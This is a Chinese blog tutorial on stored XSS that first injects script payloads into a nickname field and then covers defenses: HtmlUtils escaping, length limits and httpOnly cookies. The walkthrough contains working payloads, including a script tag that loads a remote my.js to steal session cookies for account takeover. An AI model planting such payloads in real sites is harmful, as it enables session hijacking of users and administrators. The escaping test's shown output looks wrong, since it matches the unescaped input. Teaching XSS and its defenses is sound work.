开始
存储型:
在平常的网站中,除开门户型,其他的多多少少都存在交互,服务器会保存页面传来的参数,例如用户注册时的 :用户名/密码/个性前面,还有其他与业务相关的数据录入,然后会有查询显示的页面,例如 后台管理员查看 玩家列表,或者 论坛类型 某某用户发言,在这些页面中,会显示前面由页面传入的数据。如果没有对这些数据经行检查过滤,就可能存在 XSS 漏洞。
尝试
1.这是某网站的 个人信息详情页面
2.我们尝试修改 昵称为 111<script>alert(333)</script>
修改成功,刷新页面
大家发现没,因为我们在修改用户名时,传入的是一个包含 js 代码的内容,当再次获取用户名时,浏览器就会解析这一段 js 代码,大家会说,弹个框没什么用。不会有什么危害。那下面我们来尝试获取有用的东西。
3.我们尝试修改 昵称为 1<script>alert(document.cookie)</script> ,然后刷新页面
这样还是不够刺激
4.我们尝试修改 昵称为 1<script src="http://127.0.0.1:8089/my.js"></script> ,
my.js内容:
启动的服务器:
然后刷新页面
页面毫无异样,再来看看我的控制台输出
到此,我们已经拿到网站信息,和当前用户的cookie信息.
当我们把这些cookie 填入浏览器时,刷新页面,就会以这个cookie对应的用户登陆了。
危害
当攻击主注入用户名成功后,有一天后台管理员打开了 用户列表,那么管理员这个用户的cookie就会发送给攻击者。
攻击者如果去发表评论,当其他用户加载了攻击者的用户信息后,那么其他用户的信息也会暴露。
防御
1.很明显,这个用户名没有限制长度
2.在服务端对数据进行过滤,对特殊符号进行转义
import org.springframework.web.util.HtmlUtils;
@Test
public void contextLoads() {
System.out.println(HtmlUtils.htmlEscape("1<script src=\"http://127.0.0.1:8089/my.js\"></script>"));
//输出结果 1<script src="http://127.0.0.1:8089/my.js"></script>
}
3.当显示到页面的数据还有其他来源时,服务端返回数据的时候也应该进行 过滤,例如:游戏中有玩家 发送了一条带脚本内容的聊天,当后台管理员查看聊天记录时,就会执行改脚本
4.设置cookie为 httpOnly,不允许 js 获取 cookie,防止cookie 劫持
sessionId 是web容器存入cookie的,要设置sessionId 为 httpOnly,需要修改 web容器的 配置
参考: https://blog.youkuaiyun.com/jiawenbo89/article/details/52106089
springboot 设置 : server.servlet.session.cookie.http-only=true
后记
这只是我个人很浅显的一点见解,有理解不对的地方还请大家指出来。